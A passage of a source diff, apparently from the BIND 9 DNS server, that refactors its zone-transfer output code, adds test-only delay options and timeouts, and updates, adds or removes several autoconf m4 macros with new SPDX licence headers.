 			 * when compressed even if they do not fit when
 			 * uncompressed, but surely we don't want
 			 * to send such monstrosities to an unsuspecting
-			 * slave.
+			 * secondary.
 			 */
 			if (n_rrs == 0) {
 				xfrout_log(xfr, ISC_LOG_WARNING,
@@ -1471,10 +1455,7 @@ sendstream(xfrout_ctx_t *xfr) {
 			log_rr(name, rdata, ttl); /* XXX */
 		}
 
-		result = dns_message_gettempname(msg, &msgname);
-		if (result != ISC_R_SUCCESS) {
-			goto failure;
-		}
+		dns_message_gettempname(msg, &msgname);
 		isc_buffer_availableregion(&xfr->buf, &r);
 		INSIST(r.length >= name->length);
 		r.length = name->length;
@@ -1484,37 +1465,28 @@ sendstream(xfrout_ctx_t *xfr) {
 		/* Reserve space for RR header. */
 		isc_buffer_add(&xfr->buf, 10);
 
-		result = dns_message_gettemprdata(msg, &msgrdata);
-		if (result != ISC_R_SUCCESS) {
-			goto failure;
-		}
+		dns_message_gettemprdata(msg, &msgrdata);
 		isc_buffer_availableregion(&xfr->buf, &r);
 		r.length = rdata->length;
 		isc_buffer_putmem(&xfr->buf, rdata->data, rdata->length);
 		dns_rdata_init(msgrdata);
 		dns_rdata_fromregion(msgrdata, rdata->rdclass, rdata->type, &r);
 
-		result = dns_message_gettemprdatalist(msg, &msgrdl);
-		if (result != ISC_R_SUCCESS) {
-			goto failure;
-		}
+		dns_message_gettemprdatalist(msg, &msgrdl);
 		msgrdl->type = rdata->type;
 		msgrdl->rdclass = rdata->rdclass;
 		msgrdl->ttl = ttl;
 		if (rdata->type == dns_rdatatype_sig ||
-		    rdata->type == dns_rdatatype_rrsig) {
+		    rdata->type == dns_rdatatype_rrsig)
+		{
 			msgrdl->covers = dns_rdata_covers(rdata);
 		} else {
 			msgrdl->covers = dns_rdatatype_none;
 		}
 		ISC_LIST_APPEND(msgrdl->rdata, msgrdata, link);
 
-		result = dns_message_gettemprdataset(msg, &msgrds);
-		if (result != ISC_R_SUCCESS) {
-			goto failure;
-		}
-		result = dns_rdatalist_tordataset(msgrdl, msgrds);
-		INSIST(result == ISC_R_SUCCESS);
+		dns_message_gettemprdataset(msg, &msgrds);
+		dns_rdatalist_tordataset(msgrdl, msgrds);
 
 		ISC_LIST_APPEND(msgname->list, msgrds, link);
 
@@ -1539,7 +1511,7 @@ sendstream(xfrout_ctx_t *xfr) {
 		 * here (TCP only).
 		 */
 		if ((isc_buffer_usedlength(&xfr->buf) >=
-		     xfr->client->sctx->transfer_tcp_message_size) &&
+		     xfr->client->manager->sctx->transfer_tcp_message_size) &&
 		    is_tcp)
 		{
 			break;
@@ -1548,8 +1520,8 @@ sendstream(xfrout_ctx_t *xfr) {
 
 	if (is_tcp) {
 		isc_region_t used;
-		CHECK(dns_compress_init(&cctx, -1, xfr->mctx));
-		dns_compress_setsensitive(&cctx, true);
+		dns_compress_init(&cctx, xfr->mctx,
+				  DNS_COMPRESS_CASE | DNS_COMPRESS_LARGE);
 		cleanup_cctx = true;
 		CHECK(dns_message_renderbegin(msg, &cctx, &xfr->txbuf));
 		CHECK(dns_message_rendersection(msg, DNS_SECTION_QUESTION, 0));
@@ -1563,14 +1535,51 @@ sendstream(xfrout_ctx_t *xfr) {
 		xfrout_log(xfr, ISC_LOG_DEBUG(8),
 			   "sending TCP message of %d bytes", used.length);
 
+		/* System test helper options to simulate network issues. */
+		if (ns_server_getoption(xfr->client->manager->sctx,
+					NS_SERVER_TRANSFERSLOWLY))
+		{
+			/* Sleep for a bit over a second. */
+			select(0, NULL, NULL, NULL,
+			       &(struct timeval){ 1, 1000 });
+		}
+		if (ns_server_getoption(xfr->client->manager->sctx,
+					NS_SERVER_TRANSFERSTUCK))
+		{
+			/* Sleep for a bit over a minute. */
+			select(0, NULL, NULL, NULL,
+			       &(struct timeval){ 60, 1000 });
+		}
+
 		isc_nmhandle_attach(xfr->client->handle,
 				    &xfr->client->sendhandle);
+		if (xfr->idletime > 0) {
+			isc_nmhandle_setwritetimeout(xfr->client->sendhandle,
+						     xfr->idletime);
+		}
 		isc_nm_send(xfr->client->sendhandle, &used, xfrout_senddone,
 			    xfr);
 		xfr->sends++;
 		xfr->cbytes = used.length;
 	} else {
 		xfrout_log(xfr, ISC_LOG_DEBUG(8), "sending IXFR UDP response");
+
+		/* System test helper options to simulate network issues. */
+		if (ns_server_getoption(xfr->client->manager->sctx,
+					NS_SERVER_TRANSFERSLOWLY))
+		{
+			/* Sleep for a bit over a second. */
+			select(0, NULL, NULL, NULL,
+			       &(struct timeval){ 1, 1000 });
+		}
+		if (ns_server_getoption(xfr->client->manager->sctx,
+					NS_SERVER_TRANSFERSTUCK))
+		{
+			/* Sleep for a bit over a minute. */
+			select(0, NULL, NULL, NULL,
+			       &(struct timeval){ 60, 1000 });
+		}
+
 		ns_client_send(xfr->client);
 		xfr->stream->methods->pause(xfr->stream);
 		isc_nmhandle_detach(&xfr->client->reqhandle);
@@ -1582,23 +1591,6 @@ sendstream(xfrout_ctx_t *xfr) {
 	CHECK(dns_message_getquerytsig(msg, xfr->mctx, &xfr->lasttsig));
 
 failure:
-	if (msgname != NULL) {
-		if (msgrds != NULL) {
-			if (dns_rdataset_isassociated(msgrds)) {
-				dns_rdataset_disassociate(msgrds);
-			}
-			dns_message_puttemprdataset(msg, &msgrds);
-		}
-		if (msgrdl != NULL) {
-			ISC_LIST_UNLINK(msgrdl->rdata, msgrdata, link);
-			dns_message_puttemprdatalist(msg, &msgrdl);
-		}
-		if (msgrdata != NULL) {
-			dns_message_puttemprdata(msg, &msgrdata);
-		}
-		dns_message_puttempname(msg, &msgname);
-	}
-
 	if (tcpmsg != NULL) {
 		dns_message_detach(&tcpmsg);
 	}
@@ -1630,8 +1622,8 @@ xfrout_ctx_destroy(xfrout_ctx_t **xfrp) {
 
 	INSIST(xfr->sends == 0);
 
-	xfr->client->shutdown = NULL;
-	xfr->client->shutdown_arg = NULL;
+	isc_nm_timer_stop(xfr->maxtime_timer);
+	isc_nm_timer_detach(&xfr->maxtime_timer);
 
 	if (xfr->stream != NULL) {
 		xfr->stream->methods->destroy(&xfr->stream);
@@ -1645,9 +1637,9 @@ xfrout_ctx_destroy(xfrout_ctx_t **xfrp) {
 	if (xfr->lasttsig != NULL) {
 		isc_buffer_free(&xfr->lasttsig);
 	}
-	if (xfr->quota != NULL) {
-		isc_quota_detach(&xfr->quota);
-	}
+
+	isc_quota_release(&xfr->client->manager->sctx->xfroutquota);
+
 	if (xfr->ver != NULL) {
 		dns_db_closeversion(xfr->db, &xfr->ver, false);
 	}
@@ -1694,7 +1686,7 @@ xfrout_senddone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		uint64_t msecs, persec;
 
 		inc_stats(xfr->client, xfr->zone, ns_statscounter_xfrdone);
-		isc_time_now(&xfr->stats.end);
+		xfr->stats.end = isc_time_now();
 		msecs = isc_time_microdiff(&xfr->stats.end, &xfr->stats.start);
 		msecs /= 1000;
 		if (msecs == 0) {
@@ -1738,9 +1730,12 @@ xfrout_maybe_destroy(xfrout_ctx_t *xfr) {
 }
 
 static void
-xfrout_client_shutdown(void *arg, isc_result_t result) {
+xfrout_client_timeout(void *arg, isc_result_t result) {
 	xfrout_ctx_t *xfr = (xfrout_ctx_t *)arg;
-	xfrout_fail(xfr, result, "aborted");
+
+	xfr->shuttingdown = true;
+	xfrout_log(xfr, ISC_LOG_ERROR, "%s: %s", "aborted",
+		   isc_result_totext(result));
 }
 
 /*
diff --git a/m4/ax_cc_for_build.m4 b/m4/ax_cc_for_build.m4
deleted file mode 100644
index c62ffadbc0..0000000000
--- a/m4/ax_cc_for_build.m4
+++ /dev/null
@@ -1,77 +0,0 @@
-# ===========================================================================
-#     https://www.gnu.org/software/autoconf-archive/ax_cc_for_build.html
-# ===========================================================================
-#
-# SYNOPSIS
-#
-#   AX_CC_FOR_BUILD
-#
-# DESCRIPTION
-#
-#   Find a build-time compiler. Sets CC_FOR_BUILD and EXEEXT_FOR_BUILD.
-#
-# LICENSE
-#
-#   Copyright (c) 2010 Reuben Thomas <rrt@sc3d.org>
-#   Copyright (c) 1999 Richard Henderson <rth@redhat.com>
-#
-#   This program is free software: you can redistribute it and/or modify it
-#   under the terms of the GNU General Public License as published by the
-#   Free Software Foundation, either version 3 of the License, or (at your
-#   option) any later version.
-#
-#   This program is distributed in the hope that it will be useful, but
-#   WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
-#   Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License along
-#   with this program. If not, see <https://www.gnu.org/licenses/>.
-#
-#   As a special exception, the respective Autoconf Macro's copyright owner
-#   gives unlimited permission to copy, distribute and modify the configure
-#   scripts that are the output of Autoconf when processing the Macro. You
-#   need not follow the terms of the GNU General Public License when using
-#   or distributing such scripts, even though portions of the text of the
-#   Macro appear in them. The GNU General Public License (GPL) does govern
-#   all other use of the material that constitutes the Autoconf Macro.
-#
-#   This special exception to the GPL applies to versions of the Autoconf
-#   Macro released by the Autoconf Archive. When you make and distribute a
-#   modified version of the Autoconf Macro, you may extend this special
-#   exception to the GPL to apply to your modified version as well.
-
-#serial 3
-
-dnl Get a default for CC_FOR_BUILD to put into Makefile.
-AC_DEFUN([AX_CC_FOR_BUILD],
-[# Put a plausible default for CC_FOR_BUILD in Makefile.
-if test -z "$CC_FOR_BUILD"; then
-  if test "x$cross_compiling" = "xno"; then
-    CC_FOR_BUILD='$(CC)'
-  else
-    CC_FOR_BUILD=gcc
-  fi
-fi
-AC_SUBST(CC_FOR_BUILD)
-# Also set EXEEXT_FOR_BUILD.
-if test "x$cross_compiling" = "xno"; then
-  EXEEXT_FOR_BUILD='$(EXEEXT)'
-else
-  AC_CACHE_CHECK([for build system executable suffix], bfd_cv_build_exeext,
-    [rm -f conftest*
-     echo 'int main () { return 0; }' > conftest.c
-     bfd_cv_build_exeext=
-     ${CC_FOR_BUILD} -o conftest conftest.c 1>&5 2>&5
-     for file in conftest.*; do
-       case $file in
-       *.c | *.o | *.obj | *.ilk | *.pdb) ;;
-       *) bfd_cv_build_exeext=`echo $file | sed -e s/conftest//` ;;
-       esac
-     done
-     rm -f conftest*
-     test x"${bfd_cv_build_exeext}" = x && bfd_cv_build_exeext=no])
-  EXEEXT_FOR_BUILD=""
-  test x"${bfd_cv_build_exeext}" != xno && EXEEXT_FOR_BUILD=${bfd_cv_build_exeext}
-fi
-AC_SUBST(EXEEXT_FOR_BUILD)])dnl
diff --git a/m4/ax_check_compile_flag.m4 b/m4/ax_check_compile_flag.m4
index bd753b34d7..cf3d9f4ecb 100644
--- a/m4/ax_check_compile_flag.m4
+++ b/m4/ax_check_compile_flag.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #  https://www.gnu.org/software/autoconf-archive/ax_check_compile_flag.html
 # ===========================================================================
diff --git a/m4/ax_check_link_flag.m4 b/m4/ax_check_link_flag.m4
index 03a30ce4c7..6a0c465774 100644
--- a/m4/ax_check_link_flag.m4
+++ b/m4/ax_check_link_flag.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #    https://www.gnu.org/software/autoconf-archive/ax_check_link_flag.html
 # ===========================================================================
diff --git a/m4/ax_check_openssl.m4 b/m4/ax_check_openssl.m4
index 94d67ce135..921a78a032 100644
--- a/m4/ax_check_openssl.m4
+++ b/m4/ax_check_openssl.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #     https://www.gnu.org/software/autoconf-archive/ax_check_openssl.html
 # ===========================================================================
@@ -37,6 +39,7 @@
 AU_ALIAS([CHECK_SSL], [AX_CHECK_OPENSSL])
 AC_DEFUN([AX_CHECK_OPENSSL], [
     found=false
+    AC_PROG_SED
     AC_ARG_WITH([openssl],
         [AS_HELP_STRING([--with-openssl=DIR],
             [root of the OpenSSL directory])],
@@ -57,6 +60,7 @@ AC_DEFUN([AX_CHECK_OPENSSL], [
                 if test $? = 0; then
                     OPENSSL_LIBS=`$PKG_CONFIG openssl --libs-only-l 2>/dev/null`
                     OPENSSL_CFLAGS=`$PKG_CONFIG openssl --cflags-only-I 2>/dev/null`
+                    OPENSSL_VERSION=`$PKG_CONFIG openssl --modversion 2>/dev/null`
                     found=true
                 fi
             fi
@@ -80,6 +84,10 @@ AC_DEFUN([AX_CHECK_OPENSSL], [
                 OPENSSL_CFLAGS="-I$ssldir/include"
                 OPENSSL_LDFLAGS="-L$ssldir/lib"
                 OPENSSL_LIBS="-lssl -lcrypto"
+                OPENSSL_VERSION=`$SED -ne 's/.*OPENSSL_VERSION_STR[^"]*"\([^"]*\)".*/\1/p;' $ssldir/include/openssl/opensslv.h`
+                if test -z "$OPENSSL_VERSION"; then
+                  OPENSSL_VERSION=`$SED -ne 's/.*OPENSSL_VERSION_TEXT[^"]*"\([^"]*\)".*/\1/p;' $ssldir/include/openssl/opensslv.h`
+                fi
                 found=true
                 AC_MSG_RESULT([yes])
                 break
@@ -121,4 +129,5 @@ AC_DEFUN([AX_CHECK_OPENSSL], [
     AC_SUBST([OPENSSL_CFLAGS])
     AC_SUBST([OPENSSL_LIBS])
     AC_SUBST([OPENSSL_LDFLAGS])
+    AC_SUBST([OPENSSL_VERSION])
 ])
diff --git a/m4/ax_check_preproc_flag.m4 b/m4/ax_check_preproc_flag.m4
index e43560fbd3..ee0ccb6f8e 100644
--- a/m4/ax_check_preproc_flag.m4
+++ b/m4/ax_check_preproc_flag.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #  https://www.gnu.org/software/autoconf-archive/ax_check_preproc_flag.html
 # ===========================================================================
diff --git a/m4/ax_gcc_func_attribute.m4 b/m4/ax_gcc_func_attribute.m4
index fa4e089d68..554835d6df 100644
--- a/m4/ax_gcc_func_attribute.m4
+++ b/m4/ax_gcc_func_attribute.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #  https://www.gnu.org/software/autoconf-archive/ax_gcc_func_attribute.html
 # ===========================================================================
diff --git a/m4/ax_jemalloc.m4 b/m4/ax_jemalloc.m4
new file mode 100644
index 0000000000..bde7678bc7
--- /dev/null
+++ b/m4/ax_jemalloc.m4
@@ -0,0 +1,57 @@
+# SPDX-License-Identifier: FSFAP
+#
+# ===========================================================================
+#      https://gitlab.isc.org/isc-projects/autoconf-archive/ax_jemalloc.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CHECK_JEMALLOC([, ACTION-IF-FOUND[, ACTION-IF-NOT-FOUND]])
+#
+# DESCRIPTION
+#
+#   Test for the jemalloc library in a path
+#
+# LICENSE
+#
+#   Copyright (c) 2021 Internet Systems Consortium
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 1
+
+#
+AC_DEFUN([AX_CHECK_JEMALLOC], [
+     found=false
+     PKG_CHECK_MODULES(
+	[JEMALLOC], [jemalloc],
+	[
+	    PKG_CHECK_VERSION([JEMALLOC_VERSION], [jemalloc])
+	    found=true
+	], [
+	    AC_CHECK_HEADERS([malloc_np.h jemalloc/jemalloc.h],
+		[
+		    save_LIBS="$LIBS"
+		    save_LDFLAGS="$LDFLAGS"
+		    save_CPPFLAGS="$CPPFLAGS"
+		    AC_SEARCH_LIBS([sdallocx], [jemalloc],
+			[
+			    found=true
+			    JEMALLOC_VERSION=system
+			    AS_IF([test "$ac_cv_search_mallocx" != "none required"],
+				[JEMALLOC_LIBS="$ac_cv_search_mallocx"])
+			])
+		    CPPFLAGS="$save_CPPFLAGS"
+		    LDFLAGS="$save_LDFLAGS"
+		    LIBS="$save_LIBS"
+		])
+	])
+
+    AS_IF([$found], [$1], [$2])
+
+    AC_SUBST([JEMALLOC_CFLAGS])
+    AC_SUBST([JEMALLOC_LIBS])
+])
diff --git a/m4/ax_lib_lmdb.m4 b/m4/ax_lib_lmdb.m4
index 0b1c5662c5..b140b76670 100644
--- a/m4/ax_lib_lmdb.m4
+++ b/m4/ax_lib_lmdb.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #      https://gitlab.isc.org/isc-projects/autoconf-archive/ax_lib_lmdb.html
 # ===========================================================================
diff --git a/m4/ax_perl_module.m4 b/m4/ax_perl_module.m4
index 9b636e6cf5..f2cddd2f86 100644
--- a/m4/ax_perl_module.m4
+++ b/m4/ax_perl_module.m4
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: FSFAP
 #
 # SYNOPSIS
 #
diff --git a/m4/ax_posix_shell.m4 b/m4/ax_posix_shell.m4
index 011ecfbde5..2755faed61 100644
--- a/m4/ax_posix_shell.m4
+++ b/m4/ax_posix_shell.m4
@@ -1,7 +1,18 @@
+# SPDX-License-Identifier: FSFAP
+#
 # AX_POSIX_SHELL
 # -------------
 # Check for a POSIX-compatible shell.
 #
+# LICENSE
+#
+#   Copyright (c) 2021 Internet Systems Consortium
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
 AC_DEFUN([AX_POSIX_SHELL],
 	 [AC_CACHE_CHECK([for a POSIX-compatible shell], [ac_cv_prog_shell],
 			 [ac_test_shell_script='
diff --git a/m4/ax_prog_cc_for_build.m4 b/m4/ax_prog_cc_for_build.m4
new file mode 100644
index 0000000000..5168ae4847
--- /dev/null
+++ b/m4/ax_prog_cc_for_build.m4
@@ -0,0 +1,157 @@
+# SPDX-License-Identifier: FSFAP
+#
+# ===========================================================================
+#   https://www.gnu.org/software/autoconf-archive/ax_prog_cc_for_build.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_PROG_CC_FOR_BUILD
+#
+# DESCRIPTION
+#
+#   This macro searches for a C compiler that generates native executables,
+#   that is a C compiler that surely is not a cross-compiler. This can be
+#   useful if you have to generate source code at compile-time like for
+#   example GCC does.
+#
+#   The macro sets the CC_FOR_BUILD and CPP_FOR_BUILD macros to anything
+#   needed to compile or link (CC_FOR_BUILD) and preprocess (CPP_FOR_BUILD).
+#   The value of these variables can be overridden by the user by specifying
+#   a compiler with an environment variable (like you do for standard CC).
+#
+#   It also sets BUILD_EXEEXT and BUILD_OBJEXT to the executable and object
+#   file extensions for the build platform, and GCC_FOR_BUILD to `yes' if
+#   the compiler we found is GCC. All these variables but GCC_FOR_BUILD are
+#   substituted in the Makefile.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Paolo Bonzini <bonzini@gnu.org>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 20
+
+AU_ALIAS([AC_PROG_CC_FOR_BUILD], [AX_PROG_CC_FOR_BUILD])
+AC_DEFUN([AX_PROG_CC_FOR_BUILD], [dnl
+AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([AC_PROG_CPP])dnl
+AC_REQUIRE([AC_CANONICAL_BUILD])dnl
+
+dnl Use the standard macros, but make them use other variable names
+dnl
+pushdef([ac_cv_prog_CPP], ac_cv_build_prog_CPP)dnl
+pushdef([ac_cv_prog_cc_c89], ac_cv_build_prog_cc_c89)dnl
+pushdef([ac_cv_prog_cc_c99], ac_cv_build_prog_cc_c99)dnl
+pushdef([ac_cv_prog_cc_c11], ac_cv_build_prog_cc_c11)dnl
+pushdef([ac_cv_prog_gcc], ac_cv_build_prog_gcc)dnl
+pushdef([ac_cv_prog_cc_works], ac_cv_build_prog_cc_works)dnl
+pushdef([ac_cv_prog_cc_cross], ac_cv_build_prog_cc_cross)dnl
+pushdef([ac_cv_prog_cc_g], ac_cv_build_prog_cc_g)dnl
+pushdef([ac_cv_c_compiler_gnu], ac_cv_build_c_compiler_gnu)dnl
+pushdef([ac_cv_exeext], ac_cv_build_exeext)dnl
+pushdef([ac_cv_objext], ac_cv_build_objext)dnl
+pushdef([ac_exeext], ac_build_exeext)dnl
+pushdef([ac_objext], ac_build_objext)dnl
+pushdef([CC], CC_FOR_BUILD)dnl
+pushdef([CPP], CPP_FOR_BUILD)dnl
+pushdef([GCC], GCC_FOR_BUILD)dnl
+pushdef([CFLAGS], CFLAGS_FOR_BUILD)dnl
+pushdef([CPPFLAGS], CPPFLAGS_FOR_BUILD)dnl
+pushdef([EXEEXT], BUILD_EXEEXT)dnl
+pushdef([LDFLAGS], LDFLAGS_FOR_BUILD)dnl
+pushdef([OBJEXT], BUILD_OBJEXT)dnl
+pushdef([host], build)dnl
+pushdef([host_alias], build_alias)dnl
+pushdef([host_cpu], build_cpu)dnl
+pushdef([host_vendor], build_vendor)dnl
+pushdef([host_os], build_os)dnl
+pushdef([ac_cv_host], ac_cv_build)dnl
+pushdef([ac_cv_host_alias], ac_cv_build_alias)dnl
+pushdef([ac_cv_host_cpu], ac_cv_build_cpu)dnl
+pushdef([ac_cv_host_vendor], ac_cv_build_vendor)dnl
+pushdef([ac_cv_host_os], ac_cv_build_os)dnl
+pushdef([ac_tool_prefix], ac_build_tool_prefix)dnl
+pushdef([am_cv_CC_dependencies_compiler_type], am_cv_build_CC_dependencies_compiler_type)dnl
+pushdef([am_cv_prog_cc_c_o], am_cv_build_prog_cc_c_o)dnl
+pushdef([cross_compiling], cross_compiling_build)dnl
+
+cross_compiling_build=no
+
+ac_build_tool_prefix=
+AS_IF([test -n "$build"],      [ac_build_tool_prefix="$build-"],
+      [test -n "$build_alias"],[ac_build_tool_prefix="$build_alias-"])
+
+AC_LANG_PUSH([C])
+
+dnl The pushdef([ac_cv_c_compiler_gnu], ...) currently does not cover
+dnl the use of this variable in _AC_LANG_COMPILER_GNU called by
+dnl AC_PROG_CC. Unset this cache variable temporarily as a workaround.
+was_set_c_compiler_gnu=${[ac_cv_c_compiler_gnu]+y}
+AS_IF([test ${was_set_c_compiler_gnu}],
+    [saved_c_compiler_gnu=$[ac_cv_c_compiler_gnu]
+    AS_UNSET([[ac_cv_c_compiler_gnu]])])
+
+AC_PROG_CC
+
+dnl Restore ac_cv_c_compiler_gnu
+AS_IF([test ${was_set_c_compiler_gnu}],
+  [[ac_cv_c_compiler_gnu]=$[saved_c_compiler_gnu]])
+
+_AC_COMPILER_EXEEXT
+_AC_COMPILER_OBJEXT
+AC_PROG_CPP
+
+dnl Restore the old definitions
+dnl
+popdef([cross_compiling])dnl
+popdef([am_cv_prog_cc_c_o])dnl
+popdef([am_cv_CC_dependencies_compiler_type])dnl
+popdef([ac_tool_prefix])dnl
+popdef([ac_cv_host_os])dnl
+popdef([ac_cv_host_vendor])dnl
+popdef([ac_cv_host_cpu])dnl
+popdef([ac_cv_host_alias])dnl
+popdef([ac_cv_host])dnl
+popdef([host_os])dnl
+popdef([host_vendor])dnl
+popdef([host_cpu])dnl
+popdef([host_alias])dnl
+popdef([host])dnl
+popdef([OBJEXT])dnl
+popdef([LDFLAGS])dnl
+popdef([EXEEXT])dnl
+popdef([CPPFLAGS])dnl
+popdef([CFLAGS])dnl
+popdef([GCC])dnl
+popdef([CPP])dnl
+popdef([CC])dnl
+popdef([ac_objext])dnl
+popdef([ac_exeext])dnl
+popdef([ac_cv_objext])dnl
+popdef([ac_cv_exeext])dnl
+popdef([ac_cv_c_compiler_gnu])dnl
+popdef([ac_cv_prog_cc_g])dnl
+popdef([ac_cv_prog_cc_cross])dnl
+popdef([ac_cv_prog_cc_works])dnl
+popdef([ac_cv_prog_cc_c89])dnl
+popdef([ac_cv_prog_gcc])dnl
+popdef([ac_cv_prog_CPP])dnl
+
+dnl restore global variables ac_ext, ac_cpp, ac_compile,
+dnl ac_link, ac_compiler_gnu (dependant on the current
+dnl language after popping):
+AC_LANG_POP([C])
+
+dnl Finally, set Makefile variables
+dnl
+AC_SUBST(BUILD_EXEEXT)dnl
+AC_SUBST(BUILD_OBJEXT)dnl
+AC_SUBST([CFLAGS_FOR_BUILD])dnl
+AC_SUBST([CPPFLAGS_FOR_BUILD])dnl
+AC_SUBST([LDFLAGS_FOR_BUILD])dnl
+])
diff --git a/m4/ax_pthread.m4 b/m4/ax_pthread.m4
index e5858e50c3..1c8203d474 100644
--- a/m4/ax_pthread.m4
+++ b/m4/ax_pthread.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: GPL-3.0-or-later WITH Autoconf-exception-3.0
+#
 # ===========================================================================
 #        https://www.gnu.org/software/autoconf-archive/ax_pthread.html
 # ===========================================================================
diff --git a/m4/ax_python_module.m4 b/m4/ax_python_module.m4
index db1db90a6a..b3422fc532 100644
--- a/m4/ax_python_module.m4
+++ b/m4/ax_python_module.m4
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: FSFAP
 #
 # SYNOPSIS
 #
diff --git a/m4/ax_restore_flags.m4 b/m4/ax_restore_flags.m4
index 8f2adf27c2..7379460b8c 100644
--- a/m4/ax_restore_flags.m4
+++ b/m4/ax_restore_flags.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #     https://www.gnu.org/software/autoconf-archive/ax_restore_flags.html
 # ===========================================================================
diff --git a/m4/ax_save_flags.m4 b/m4/ax_save_flags.m4
index 5bc7c6c7a8..b0bba805d5 100644
--- a/m4/ax_save_flags.m4
+++ b/m4/ax_save_flags.m4
@@ -1,3 +1,5 @@
+# SPDX-License-Identifier: FSFAP
+#
 # ===========================================================================
 #      https://www.gnu.org/software/autoconf-archive/ax_save_flags.html
 # ===========================================================================
diff --git a/m4/ax_tls.m4 b/m4/ax_tls.m4
deleted file mode 100644
index fb184fe201..0000000000
--- a/m4/ax_tls.m4
+++ /dev/null
@@ -1,71 +0,0 @@
-# ===========================================================================
-#          https://www.gnu.org/software/autoconf-archive/ax_tls.html
-# ===========================================================================
-#
-# SYNOPSIS
-#
-#   AX_TLS([action-if-found], [action-if-not-found])
-#
-# DESCRIPTION
-#
-#   Provides a test for the compiler support of thread local storage (TLS)
-#   extensions. Defines TLS if it is found. Currently knows about C++11,
-#   GCC/ICC, and MSVC. I think SunPro uses the same as GCC, and Borland
-#   apparently supports either.
-#
-# LICENSE
-#
-#   Copyright (c) 2008 Alan Woodland <ajw05@aber.ac.uk>
-#   Copyright (c) 2010 Diego Elio Petteno` <flameeyes@gmail.com>
-#
-#   This program is free software: you can redistribute it and/or modify it
-#   under the terms of the GNU General Public License as published by the
-#   Free Software Foundation, either version 3 of the License, or (at your
-#   option) any later version.
-#
-#   This program is distributed in the hope that it will be useful, but
-#   WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
-#   Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License along
-#   with this program. If not, see <https://www.gnu.org/licenses/>.
-#
-#   As a special exception, the respective Autoconf Macro's copyright owner
-#   gives unlimited permission to copy, distribute and modify the configure
-#   scripts that are the output of Autoconf when processing the Macro. You
-#   need not follow the terms of the GNU General Public License when using
-#   or distributing such scripts, even though portions of the text of the
-#   Macro appear in them. The GNU General Public License (GPL) does govern
-#   all other use of the material that constitutes the Autoconf Macro.
-#
-#   This special exception to the GPL applies to versions of the Autoconf
-#   Macro released by the Autoconf Archive. When you make and distribute a
-#   modified version of the Autoconf Macro, you may extend this special
-#   exception to the GPL to apply to your modified version as well.
-
-#serial 15
-
-AC_DEFUN([AX_TLS], [
-  AC_MSG_CHECKING([for thread local storage (TLS) class])
-  AC_CACHE_VAL([ac_cv_tls],
-   [for ax_tls_keyword in thread_local _Thread_local __thread '__declspec(thread)' none; do
-       AS_CASE([$ax_tls_keyword],
-          [none], [ac_cv_tls=none ; break],
-          [AC_COMPILE_IFELSE([AC_LANG_PROGRAM(
-              [#include <stdlib.h>],
-              [static  $ax_tls_keyword  int bar;]
-            )],
-            [ac_cv_tls=$ax_tls_keyword ; break],
-            [ac_cv_tls=none]
-          )]
-        )
-    done ]
-  )
-  AC_MSG_RESULT([$ac_cv_tls])
-
-  AS_IF([test "$ac_cv_tls" != "none"],
-    [AC_DEFINE_UNQUOTED([TLS],[$ac_cv_tls],[If the compiler supports a TLS storage class, define it to that here])
-     m4_ifnblank([$1],[$1],[[:]])],
-    [m4_ifnblank([$2],[$2],[[:]])])
-])
diff --git a/m4/compat.m4 b/m4/compat.m4
index 4ea93d0123..2d204b251a 100644
--- a/m4/compat.m4
+++ b/m4/compat.m4
@@ -1,3 +1,7 @@
+# Copyright (c) 2021 Internet Systems Consortium
+#
+# SPDX-License-Identifier: FSFAP
+#
 # backwards compat with older pkg-config
 # - pull in AC_DEFUN from pkg.m4
 m4_ifndef([PKG_CHECK_VAR], [
diff --git a/m4/pkg-modversion.m4 b/m4/pkg-modversion.m4
new file mode 100644
index 0000000000..fba2cc2033
--- /dev/null
+++ b/m4/pkg-modversion.m4
@@ -0,0 +1,35 @@
+# SPDX-License-Identifier: FSFAP
+#
+# ===========================================================================
+#      https://gitlab.isc.org/isc-projects/autoconf-archive/ax_jemalloc.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   PKG_CHECK_VERSION(VARIABLE, MODULE, [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])
+#
+# DESCRIPTION
+#
+#   Retrieves the value of the pkg-config version for the given module.
+#
+# LICENSE
+#
+#   Copyright (c) 2023 Internet Systems Consortium
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 1
+
+#
+AC_DEFUN([PKG_CHECK_VERSION],
